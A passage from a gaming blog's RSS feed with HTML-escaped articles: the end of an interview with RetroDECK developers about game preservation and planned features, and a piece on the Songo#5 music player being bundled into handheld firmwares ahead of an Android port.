(PC-9800) - oprainfall&lt;/div&gt;&lt;div&gt;In this Throwback Thursday review, we cover Rusty, an action platformer for the NEC PC-9800 that has a striking resemblance to Castlevania games of old.&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/icon/cropped-cropped-mi2odycI.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;span&gt;oprainfall&lt;/span&gt;&lt;span&gt;Andy Kidwell&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/thumbnail/TitleCards.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;/a&gt;&lt;/figure&gt;&lt;div&gt;&lt;div&gt;ℹ️&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;em&gt;Writer&amp;#39;s note: while researching the old NEC PC-9800 games on Xargon&amp;#39;s recommendation, I found the great old page above describing their journey with those games on the system. Well worth a read if you&amp;#39;re interested!&lt;/em&gt;&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;IceNine451&lt;/strong&gt;: I think it would have to be basically anything that you might find in an 80s arcade. Not that arcade emulation is necessarily overlooked, MAME is a huge project, but pinball has a pretty die-hard preservation and emulation base even now and I think the aspect of arcade games that gets lost in time is that almost all of the early (pre-NeoGeo) arcade games were complete one-offs.&lt;/p&gt;&lt;p&gt;They were running on fully bespoke hardware, created by electrical engineers simply to run that one single game. The reason the Space Invaders speed up the more of them you destroy was because of an unintended consequence of the hardware design, it wasn’t actually supposed to happen, but then ended up as an iconic feature of that game.&lt;/p&gt;&lt;p&gt;Prior to cartidge systems or even powerful enough central processors, the machine &lt;em&gt;was&lt;/em&gt; the game.And it is that kind of ingenuity that I really hope we can do our little part in saving. All of the weird little one-off projects that people worked on in the past, hoping to bring a little more joy into the world.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Do you feel like the project is as much about preserving gaming history and culture as it is about simply running old software?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Lazorne:&lt;/strong&gt;  Yes, it is about making it easier to experience a shared gaming culture across generations.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;strong&gt;Adam: &lt;/strong&gt;I think it’s like watching classic movies.&lt;br/&gt; &lt;br/&gt;Being able to play older games gives you history, context and often they’re better than stuff coming out today!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Lahrs: &lt;/strong&gt;Gaming is a culture and games are art. I do not see the distinction between preserving games compared to preserving art hanging in museums.&lt;br/&gt; &lt;br/&gt;Some may scoff at me comparing Atari’s E.T. to Davinci’s Mona Lisa, but both hold significant history to the times theywere created. E.T. is 44 years old and is still being discussed as a major turning point in gaming history, almost destroying industry.&lt;br/&gt; &lt;br/&gt;And now, gaming is one of the top media industries in the world. Shouldn’t that be preserved?&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;strong&gt;Xargon: &lt;/strong&gt;RetroDECK is like a build-your-own-museum that you create from your own collection or open-source games. It shows you where everything should go, creating a premium museum experience that is easy to enjoy and understand.&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/03/indiana-jones-belongs-in-a-museum.gif&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/figure&gt;&lt;p&gt;It’s true that a museum provides the art itself and visitors don’t have to bring their own.&lt;br/&gt; &lt;br/&gt;I really wish that one day in the future this could be legally possible for abandonware games as well.&lt;/p&gt;&lt;p&gt;&lt;em&gt;&amp;quot;A man can dream though. A man can dream.&amp;quot;&lt;br/&gt; &lt;/em&gt;―Hubert J. Farnsworth&lt;/p&gt;&lt;p&gt;&lt;strong&gt;IceNine451: &lt;/strong&gt;I don’t really think you can have one without the other. The software &lt;em&gt;is&lt;/em&gt; the experience. The experience &lt;em&gt;is&lt;/em&gt; the history. Gaming is as much a part of shared culture as any other form of art. Some art is made to be art. Some art is made to make money. But that doesn’t stop it being art.&lt;/p&gt;&lt;p&gt;Hemingway wrote books for booze money. That doesn’t make the impact his stories have had on people any less deserving. Video games is one of the largest industries on the planet, with more money moving around that almost anything else.&lt;/p&gt;&lt;p&gt;But there have always been people with stories to tell and they used games to do it. In my mind, preserving video games is equally as important as preserving books, music or movies.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;When working on RetroDECK, do you find yourselves thinking more about the hardware being recreated, or about the games and experiences people grew up with?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Lazorne: &lt;/strong&gt;It is about the experiences people grew up with, the stories they want to retell and the memories they want to revisit.&lt;/p&gt;&lt;p&gt;But it is also about allowing people to experience those moments in new ways by making enhancements like mods and ROM hacks more accessible.&lt;/p&gt;&lt;p&gt;That is it!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Adam:&lt;/strong&gt; For me, it’s all about the games!&lt;/p&gt;&lt;p&gt; Of course, there are some ways in which the hardware is essential PS1 has funny visual quirks. But at the end of the day, playing these games can tap into nostalgia and fun memories for us dinosaurs.&lt;/p&gt;&lt;p&gt;Hopefully it helps younger gamers make some of their own!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Xargon:&lt;/strong&gt; Real hardware is certainly fascinating. Sometimes I take out my Famicom and Mega Drive to show my kids how it was back then, but when it comes to actually playing the games, I prefer more modern hardware. It’s a matter of simplicity and accessibility.&lt;/p&gt;&lt;p&gt;However, it’s important to never forget where it all comes from. For example, my WonderSwan, GB Pocket, GB Color, NDS, and similar devices are tucked away in a closet, waiting to be properly displayed in a showcase one day.&lt;/p&gt;&lt;p&gt;I still use my GBA though, but it’s been so heavily modded that it’s questionable whether it’s still a GBA or something entirely new.&lt;/p&gt;&lt;p&gt;Oh, and I still play my PS Vita and 3DS.&lt;/p&gt;&lt;p&gt;&amp;quot;But PS Vita and 3DS are not retro!&amp;quot;&lt;br/&gt; &lt;br/&gt; &lt;em&gt;&amp;quot;They are, in my heart&amp;quot;&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;IceNine451: &lt;/strong&gt;When working on RetroDECK, I mostly only have time to focus on making RetroDECK work.😂Ultimately, the “hardware recreation” part of it is done by others, the people working on the emulators, engines and other programs and systems we integrate.&lt;/p&gt;&lt;p&gt;We just try to bring it all together, make it easy and powerful so people can focus on those experiences without needing to spend time tinkering, unless they want to.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;What kinds of retro experiences would you love to see more people rediscover through RetroDECK?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Lazorne: &lt;/strong&gt;DOOM WADs has always had a huge a dedicated following. But I still wish more people explored it and the decades of content available.&lt;/p&gt;&lt;p&gt;It is a genre I personally enjoy through RetroDECK thanks to our smart .doom integration and is the main way I play DOOM.&lt;/p&gt;&lt;p&gt;I just love modding in general for all games.&lt;/p&gt;&lt;p&gt;&lt;br/&gt; &lt;br/&gt;&lt;strong&gt;Lahrs: &lt;/strong&gt;Pinball and these large machines were a rare novelty in homes and in nearly every instance had to be enjoyed in arcades.&lt;br/&gt; &lt;br/&gt;Arcades are all but gone and the machines remain a home novelty.&lt;br/&gt; &lt;br/&gt;Retro gaming is a way to bring those experiences back to life in ways that were not possible before.&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;strong&gt;Xargon: &lt;/strong&gt;MS-DOS and Windows 9x games often had very colorful graphics and each game was its own piece of art.&lt;/p&gt;&lt;p&gt;I have actually been working on something in the Windows 9x direction for a future release to make it easier to install Win9x on DOSBox-X and play your old Windows 3.1, 95, 98 favorites via RetroDECK with extreme simplicity.&lt;/p&gt;&lt;p&gt;However, back then there were no standards of how a game should work, so most titles were pretty much unique as they are reinventing the wheel every time in a good way.&lt;br/&gt; &lt;br/&gt;A lot of games got very very very...original concepts (&lt;em&gt;sometimes not entirely optimal&lt;/em&gt;). I feel like they’re a breath of fresh air nowadays, in a world where techniques and designs are largely standardized.&lt;/p&gt;&lt;p&gt;As for arcade games… I would love to build an arcade cabinet to enjoy with my kids one day.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;IceNine451:&lt;/strong&gt; I think Lazorne brings up one of the best examples with DOOM WADs. Game modding has a huge history, well before “1st party modding toolkits” were ever a thing.&lt;/p&gt;&lt;p&gt;I think it would be awesome for more people to not only get the original gaming experiences of the past, but also see what normal everyday people did with them, projects to make something wholly new to share with their friends.&lt;/p&gt;&lt;p&gt;Using gaming engines as a way to invent new stories, new ways to play that even the original devs never thought of. A huge amount of human ingenuity goes into gaming, and I think it is important to preserve and share it. &lt;/p&gt;&lt;p&gt;That, and playing a older-generation fighting game on a janky taped up controller with your friends for so long you have blisters for a week.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;If someone installs RetroDECK expecting just another emulator package, what do you hope surprises them the most?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Lazorne:&lt;/strong&gt; I believe that when we release version 0.11.0 (our next major update, NO ETA!) users will be treated to a variety of components and tools they have never seen before in this format.&lt;/p&gt;&lt;p&gt;Users will be able to connect to a MUD, play pinball and explore a wide range of gaming experiences in our all-in-one flatpak Retro Gaming Platform we call RetroDECK. &lt;/p&gt;&lt;p&gt;We will also add support for applying xdelta patches via built-in Delta Patcher enabling ROM hacks that are not based on IPS files.&lt;/p&gt;&lt;p&gt;They will discover classic platforms like the TRS-80 or the Milton Bradley Microvision, while also gaining new ways to enjoy classic FPS games with mods such as Wolfenstein 3D or Quake.&lt;/p&gt;&lt;p&gt;But also more that we are not ready to share yet.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Lahrs: &lt;/strong&gt;People will come expecting just an emulator package because they are unaware of what is possible. I want them to see what is available and think “What does this do?”.&lt;br/&gt;&lt;br/&gt;The surprise is the discovery that they are a part of something bigger and RetroDECK wants to point the way.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Xargon: &lt;/strong&gt;One click simplicity and straightforwardness(hopefully).&lt;br/&gt; &lt;/p&gt;&lt;p&gt;Since the beginning, our goal has been to make it “just work” right out of the box (but that has been a huge undertaking).&lt;br/&gt; &lt;br/&gt;The only limit is the law, which often doesn’t allow the redistribution of certain components. Such as proprietary software, assets or BIOS files. Unfortunately, that’s something we usually cannot provide. However when the BIOS is open source, we always try to include it. &lt;/p&gt;&lt;p&gt;In some cases, companies still like Sony still provide the PS3 firmware on their website (thank you!), which users can download and use with RPCS3. Tech-savvy users can even extract the PS2 and PS1 BIOS from the PS3 firmware as they are bundled inside it.&lt;/p&gt;&lt;p&gt;There are also free alternatives to proprietary assets, with projects like &lt;a href=&quot;https://freedoom.github.io/&quot;&gt;Freedoom&lt;/a&gt; and &lt;a href=&quot;https://github.com/lavenderdotpet/LibreQuake&quot;&gt;LibreQuake&lt;/a&gt; that we could include but we also want to save some space. Maybe in the future via some other method. 😄&lt;/p&gt;&lt;p&gt;&lt;strong&gt;IceNine451: &lt;/strong&gt;The way that I think we can (or at least I hope we can) surprise new users is by the sheer breadth of the systems we support. For most “mainstream” emulation needs, RetroArch already covers like 90% of what every “emulation package” covers.&lt;/p&gt;&lt;p&gt;Now lets cover everything they &lt;em&gt;don’t &lt;/em&gt;cover.&lt;/p&gt;&lt;p&gt;Lets get into the systems where only like 5 people even care about it, but it makes those 5 peoples’ day. Lets provide a platform for those kinds of systems and maybe inspire someone who grew up playing a niche system to create a whole new emulator for it, knowing that there are projects out there trying to support ALL gaming experiences, not just the mainstream stuff.&lt;/p&gt;&lt;p&gt;Lets bring &lt;strong&gt;&lt;em&gt;gaming&lt;/em&gt; &lt;/strong&gt;to the people, not just “the Super Nintendo” or “the Sega Genesis” (which did what Nintendidn’t). The entire experience, good and bad (&lt;em&gt;I’m looking at you, “E.T. the Extra-Terrestrial” on Atari&lt;/em&gt;).&lt;/p&gt;&lt;p&gt;Personally, I always like to experience the “first” of something, just from a curiosity and historical standpoint. I was there (3000 years ago) when Marathon revolutionized the FPS genre by properly implementing the modern gaming concept of “being able to look up and down”.&lt;/p&gt;&lt;p&gt;I know there are other people out there, like me, who want to see these “firsts” in the gaming industry. And we’ll see what we can do to make it as painless as possible to do that.&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;&lt;strong&gt;&lt;em&gt;And that&amp;#39;s that!&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;A huge thank you to everyone involved in RetroDECK for taking the time to share their thoughts, stories, and philosophy with me. It’s always a pleasure to dive into a project with this much passion behind it, and as always, I genuinely love spreading the RetroDECK love. &lt;/p&gt;&lt;p&gt;For more information on RetroDECK (&lt;em&gt;because you just have to check it out after reading all of this, right?!&lt;/em&gt;), or to chat with the users, you can use the links below:&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://retrodeck.net/&quot;&gt;&lt;div&gt;&lt;div&gt;RetroDECK&lt;/div&gt;&lt;div&gt;RetroDECK is a polished, beginner-friendly retro gaming platform for Linux systems, available with just one click from Flathub.&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/icon/icon_circle_2_180x180-1.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/thumbnail/og-image-1.png&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;/a&gt;&lt;/figure&gt;&lt;figure&gt;&lt;a href=&quot;https://discord.gg/hkEwSMGcvu&quot;&gt;&lt;div&gt;&lt;div&gt;Join the RetroDECK Discord Server!&lt;/div&gt;&lt;div&gt;RetroDECK’s official Discord server | 3648 members&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/icon/favicon-28.ico&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;span&gt;Discord&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;hr/&gt;&lt;div&gt;
            Read more: &lt;a href=&quot;https://gardinerbryant.com/tag/developer-interview/&quot;&gt;Developer Interview&lt;/a&gt;, &lt;a href=&quot;https://gardinerbryant.com/tag/emulation/&quot;&gt;Emulation&lt;/a&gt;, &lt;a href=&quot;https://gardinerbryant.com/tag/gaming/&quot;&gt;Gaming&lt;/a&gt;, &lt;a href=&quot;https://gardinerbryant.com/tag/linux/&quot;&gt;Linux&lt;/a&gt;, &lt;a href=&quot;https://gardinerbryant.com/tag/retrodeck/&quot;&gt;RetroDECK&lt;/a&gt;, &lt;a href=&quot;https://gardinerbryant.com/tag/steam-deck/&quot;&gt;steam deck&lt;/a&gt;
        &lt;/div&gt;&lt;div&gt;
            &lt;a href=&quot;https://www.google.com/preferences/source?q=gardinerbryant.com&quot;&gt;
            If you still use Google as your search engine, consider adding
            &lt;strong&gt;The Bryant Review&lt;/strong&gt; as one of your preferred sources.
            &lt;/a&gt;
        &lt;/div&gt;&lt;div&gt;
                    &lt;img src=&quot;https://gardinerbryant.com/content/images/size/w320/2025/10/IMG20230222140721.jpg&quot; alt=&quot;dash&quot; title=&quot;&quot;/&gt;
                &lt;h2&gt;About the Author:&lt;/h2&gt;
                &lt;h3&gt;
                    dash
                &lt;/h3&gt;
                    &lt;p&gt;Dash is 𝘰𝘣𝘴𝘦𝘴𝘴𝘦𝘥 with gaming in all its forms. Opting for FOSS over everything else, you can follow along here for articles on handheld gaming, Android emulation, GOG, gaming retrospectives and the developers keeping open-source gaming alive.&lt;/p&gt;
                &lt;footer&gt;
                    &lt;div&gt;
                            &lt;a href=&quot;https://mastodon.social/@flwwhtrbt&quot;&gt;&lt;/a&gt;
                        &lt;a href=&quot;https://gardinerbryant.com/author/dash/&quot;&gt;More from dash&lt;/a&gt;
                    &lt;/div&gt;
                &lt;/footer&gt;
            &lt;/div&gt;</content:encoded>
</item>
<item>
<title>From Optional App to Built-In: Songo#5’s Expansion Across Firmware and Android</title>
<link>https://gardinerbryant.com/from-optional-app-to-built-in-songo-5s-expansion-across-firmware-and-android/</link>
<enclosure type="image/jpeg" length="0" url="https://gardinerbryant.com/content/images/2026/04/Astro-Riley.webp"></enclosure>
<guid isPermaLink="false">ETbioc0h8WqzbEBa7NNSPxWs6X_vkEnqFuAlZg==</guid>
<pubDate>Tue, 12 May 2026 10:57:09 +0000</pubDate>
<description>Now shipping with Spruce and soon muOS, Songo#5 is moving from a standalone music player to a default part of handheld firmware ecosystems, with an Android port on the horizon</description>
<content:encoded>&lt;section&gt;
                &lt;div&gt;
    &lt;div&gt;
        &lt;div&gt;
            &lt;h2&gt;&lt;span&gt;Become a Member&lt;/span&gt;&lt;/h2&gt;
            &lt;p&gt;
                Join the thousands who have already subscribed to The Bryant Review!
                Membership unlocks &lt;strong&gt;exclusive articles&lt;/strong&gt;,
                a customizable reading experience, and you won&amp;#39;t see this
                message again!
            &lt;/p&gt;

            

                &lt;div&gt;
                    
                    
                &lt;/div&gt;
                &lt;div&gt;
                    Email sent! Check your inbox to complete your signup.
                &lt;/div&gt;
                
            

            &lt;p&gt;&lt;span&gt;No spam.
                    Unsubscribe anytime.&lt;/span&gt;&lt;/p&gt;
        &lt;/div&gt;
        
        
    &lt;/div&gt;
&lt;/div&gt;
            &lt;/section&gt;&lt;div&gt;
            &lt;/div&gt;&lt;h2&gt;&lt;strong&gt;Quietly becoming part of the firmware layer&lt;/strong&gt;&lt;/h2&gt;&lt;figure&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/04/1000093029.jpg&quot; alt=&quot;Songo#5 on the Brick Hammer&quot; title=&quot;&quot;/&gt;&lt;/figure&gt;&lt;p&gt;Songo#5’s move into being bundled by default in handheld firmware like &lt;a href=&quot;https://spruceui.github.io/&quot;&gt;Spruce&lt;/a&gt; and soon &lt;a href=&quot;https://muos.dev/&quot;&gt;muOS&lt;/a&gt; wasn’t something its developer, Riley, ever planned for. Even now, he frames it as something that still feels slightly unreal.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://gardinerbryant.com/the-full-interview-behind-songo-5s-expansion-across-firmware-and-android/&quot;&gt;He describes it simply&lt;/a&gt;: he “didn’t expect it at all” and says he’s “beyond excited that these dev teams trust me and like the app enough to include it in their respective firmwares.”&lt;/p&gt;&lt;p&gt;That sense of momentum also reflects how far the project itself has come since early 2026. Songo#5 has steadily expanded from a lightweight music player into a more fully featured application, adding broad format support, seeking, customization options, and a long list of quality-of-life improvements. Riley says development hasn’t slowed at any point, and doesn’t intend for it to.&lt;/p&gt;&lt;hr/&gt;&lt;h2&gt;&lt;strong&gt;How Songo became part of Spruce (and muOS)&lt;/strong&gt;&lt;/h2&gt;&lt;figure&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/04/IMG_20260331_144511285.webp&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/04/IMG_20260408_115951301.webp&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/04/IMG_20260424_081828479.webp&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;figcaption&gt;&lt;p&gt;&lt;span&gt;Songo#5 running on multiple devices&lt;/span&gt;&lt;/p&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;The integration into Spruce didn’t begin as a formal plan, but as a practical extension of compatibility work. Riley initially joined the Spruce Discord with the intention of improving support for the &lt;a href=&quot;https://portmaster.games/&quot;&gt;PortMaster&lt;/a&gt; version of Songo#5. As that work expanded across multiple devices, the distinction between a standalone app and something more native started to blur.&lt;/p&gt;&lt;p&gt;As he puts it, once compatibility had been ironed out across the Spruce family, “it just started to make sense to make it part of their code ecosystem.”&lt;/p&gt;&lt;p&gt;At that point, what had been a loose idea (adding a shortcut) shifted into something more structural. Riley recalls asking how users could launch Songo#5 from within the Spruce app directory, only for the suggestion to come back in a more direct form: just integrate it properly.&lt;/p&gt;&lt;p&gt;He also credits the shared design philosophy as a major factor in that decision.&lt;/p&gt;&lt;blockquote&gt;“I think adding Songo#5 to Spruce made a lot of sense because both our respective projects put a lot of importance in quality of UI/UX.”&lt;/blockquote&gt;&lt;p&gt;Collaboration has remained an ongoing part of the process. Riley works with multiple firmware teams and credits them directly in the app, though he notes he is in particularly close contact with Spruce and muOS developers. The relationship is active enough that iteration happens continuously, rather than in isolated release cycles.&lt;/p&gt;&lt;hr/&gt;&lt;h2&gt;&lt;strong&gt;From optional install to default experience&lt;/strong&gt;&lt;/h2&gt;&lt;figure&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/04/Prudent-Enthusiasm79.jpeg&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/04/ChunkyMicrowave.webp&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/04/GenesisBreak.jpeg&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;figcaption&gt;&lt;p&gt;&lt;span&gt;Image credit to Prudent-Enthusiasm79, ChunkyMicrowave and GenesisBreak&lt;/span&gt;&lt;/p&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;Being included by default changes the context Songo#5 sits in. It is no longer something users deliberately seek out, but something they encounter as part of the system itself.&lt;/p&gt;&lt;p&gt;That shift has slightly changed how Riley thinks about onboarding, but not in a dramatic way. Much of the foundation is already in place, including early guidance for importing music and using the app. Still, he acknowledges there are refinements he wants to make, particularly around playlist creation and clarity for first-time users.&lt;/p&gt;&lt;p&gt;The more immediate change is responsibility. When software is bundled at firmware level, any serious issue no longer sits with the app alone.&lt;/p&gt;&lt;blockquote&gt;“If I accidentally ship a critical bug its going to be the muOS and Spruce devs that get complaints directed at them so I’m being especially careful to maintain and improve app stability.”&lt;/blockquote&gt;&lt;p&gt;One subtle but important consequence of this shift is perception. Riley notes that some users still encounter Songo#5 through PortMaster and assume it is a port of something else, rather than something designed &lt;em&gt;specifically&lt;/em&gt; for these devices.&lt;/p&gt;&lt;hr/&gt;&lt;h2&gt;&lt;strong&gt;Looking toward Android &amp;amp; What Comes Next&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;Alongside its growing presence in Linux-based firmware, Songo#5 is also moving toward Android. For Riley, this isn’t a question of whether it will happen, but when.&lt;/p&gt;&lt;p&gt;The motivation comes from seeing a growing category of compact Android handhelds that could function as dedicated music players.&lt;/p&gt;&lt;blockquote&gt;“I see devices like the RG Rotate, the MagicX Zero28 or the RP Classic and think ‘I want to put Songo on that’.”&lt;/blockquote&gt;&lt;p&gt;From a technical perspective, he doesn’t expect the transition to be especially difficult. The application is already UI-driven, and many of the core requirements are in place.&lt;/p&gt;&lt;blockquote&gt;“It’s not going to be very hard since its a UI based application already…a lot of the prerequisites for an easy porting experience to android are already met.”&lt;/blockquote&gt;&lt;p&gt;The main unknown is simply experience with the platform.&lt;/p&gt;&lt;blockquote&gt;“I haven’t ported something to Android before though so maybe my ignorance will get the best of me. Let’s just say I’m optimistic.”&lt;/blockquote&gt;&lt;p&gt;With distribution increasingly handled through firmware inclusion, development focus is shifting toward expansion and refinement. Planned work includes performance improvements, particularly around audio streaming, as well as features like language support, metadata editing, and background playback.&lt;/p&gt;&lt;p&gt;One of the most ambitious upcoming additions is RBIT, or RockBox Interpreted Themes. The system is designed to allow Songo#5 to use existing themes from the Rockbox ecosystem, including a large library of iPod Classic-era designs.&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/04/rbit.png&quot; alt=&quot;Songo#5 using existing RockBox themes&quot; title=&quot;&quot;/&gt;&lt;/figure&gt;&lt;p&gt;Rather than replacing that ecosystem, Riley positions it as a bridge into it, with early prototypes already working. The goal is to eventually release RBIT as a standalone module that other developers can build on.&lt;/p&gt;&lt;div&gt;&lt;div&gt;ℹ️&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;em&gt;Songo#5 is also beginning to influence adjacent projects! Riley pointed out the community-led work such as a Rocknix fork that uses Songo#5 to turn supported handhelds into dedicated music players!&lt;/em&gt;&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;figure&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/04/songo_linux.webp&quot; alt=&quot;Songo#5 running on Linux&quot; title=&quot;&quot;/&gt;&lt;figcaption&gt;&lt;i&gt;&lt;em&gt;Songo#5 running on Linux (image sent to me by Riley)&lt;/em&gt;&lt;/i&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;h2&gt;&lt;strong&gt;The quiet shift to default&lt;/strong&gt;&lt;/h2&gt;&lt;figure&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/04/IMG_20260408_112046551.webp&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/04/IMG_20260408_112353353.webp&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Despite its growing presence across firmware ecosystems, Riley is careful not to frame Songo#5 as a finished product or dominant standard. He describes its trajectory to me super cautiously, seeing its current position as part of a longer development curve rather than an endpoint.&lt;/p&gt;&lt;p&gt;For now, his focus remains on refinement, new features, and exploring what happens next, especially as Android support moves closer and firmware adoption becomes the norm rather than the exception.&lt;/p&gt;&lt;p&gt;Songo#5, in its current form, is still evolving. But it is also increasingly something users don’t install anymore, they&amp;#39;ll just find it already there.&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/04/IMG_20260417_131149701.webp&quot; alt=&quot;Songo#5&amp;#39;s recent logo change!&quot; title=&quot;&quot;/&gt;&lt;figcaption&gt;&lt;i&gt;&lt;em&gt;Songo#5&amp;#39;s recent logo change!&lt;/em&gt;&lt;/i&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;em&gt;Fin.&lt;/em&gt;&lt;/p&gt;&lt;hr/&gt;&lt;p&gt;I&amp;#39;ve been using Songo#5 myself since my last article on it, back in February! I&amp;#39;d encourage everyone who is interested to check it out, and maybe even join the 2.6K members of the &lt;a href=&quot;https://www.reddit.com/r/ConsolesAsDAPs/&quot;&gt;r/ConsolesAsDAPs sub-reddit&lt;/a&gt; who are using their gaming handhelds as audio devices.&lt;/p&gt;&lt;p&gt;I&amp;#39;m sure Riley is quite tired of me sending him pictures every time I have it playing on my TRIMUI Brick Hammer, but I can say that won&amp;#39;t be stopping any time soon.&lt;/p&gt;&lt;figure&gt;&lt;img src=&quot;https://gardinerbryant.com/content/images/2026/04/1000093028.jpg&quot; alt=&quot;Songo#5 on the Brick Hammer cuddling with my cat&quot; title=&quot;&quot;/&gt;&lt;/figure&gt;&lt;hr/&gt;&lt;div&gt;
            Read more: &lt;a href=&quot;https://gardinerbryant.com/tag/developer-interview/&quot;&gt;Developer Interview&lt;/a&gt;, &lt;a href=&quot;https://gardinerbryant.com/tag/linux/&quot;&gt;Linux&lt;/a&gt;, &lt;a href=&quot;https://gardinerbryant.com/tag/songo-5/&quot;&gt;Songo#5&lt;/a&gt;, &lt;a href=&quot;https://gardinerbryant.com/tag/emulation/&quot;&gt;Emulation&lt;/a&gt;, &lt;a href=&quot;https://gardinerbryant.com/tag/music/&quot;&gt;Music&lt;/a&gt;, &lt;a href=&quot;https://gardinerbryant.com/tag/mp3-players/&quot;&gt;MP3 Players&lt;/a&gt;, &lt;a href=&quot;https://gardinerbryant.com/tag/developer-story/&quot;&gt;Developer Story&lt;/a&gt;
        &lt;/div&gt;&lt;div&gt;
            &lt;a href=&quot;https://www.google.com/preferences/source?q=gardinerbryant.com&quot;&gt;
            If you still use Google as your search engine, consider adding
            &lt;strong&gt;The Bryant Review&lt;/strong&gt; as one of your preferred sources.
            &lt;/a&gt;
        &lt;/div&gt;&lt;div&gt;
                    &lt;img src=&quot;https://gardinerbryant.com/content/images/size/w320/2025/10/IMG20230222140721.jpg&quot; alt=&quot;dash&quot; title=&quot;&quot;/&gt;
                &lt;h2&gt;About the Author:&lt;/h2&gt;
                &lt;h3&gt;
                    dash
                &lt;/h3&gt;
                    &lt;p&gt;Dash is 𝘰𝘣𝘴𝘦𝘴𝘴𝘦𝘥 with gaming in all its forms. Opting for FOSS over everything else, you can follow along here for articles on handheld gaming, Android emulation, GOG, gaming retrospectives and the developers keeping open-source gaming alive.&lt;/p&gt;
                &lt;footer&gt;
                    &lt;div&gt;
                            &lt;a href=&quot;https://mastodon.social/@flwwhtrbt&quot;&gt;&lt;/a&gt;
                        &lt;a href=&quot;https://gardinerbryant.com/author/dash/&quot;&gt;More from dash&lt;/a&gt;
                    &lt;/div&gt;
                &lt;/footer&gt;
            &lt;/div&gt;</content:encoded>
</item>
<item>
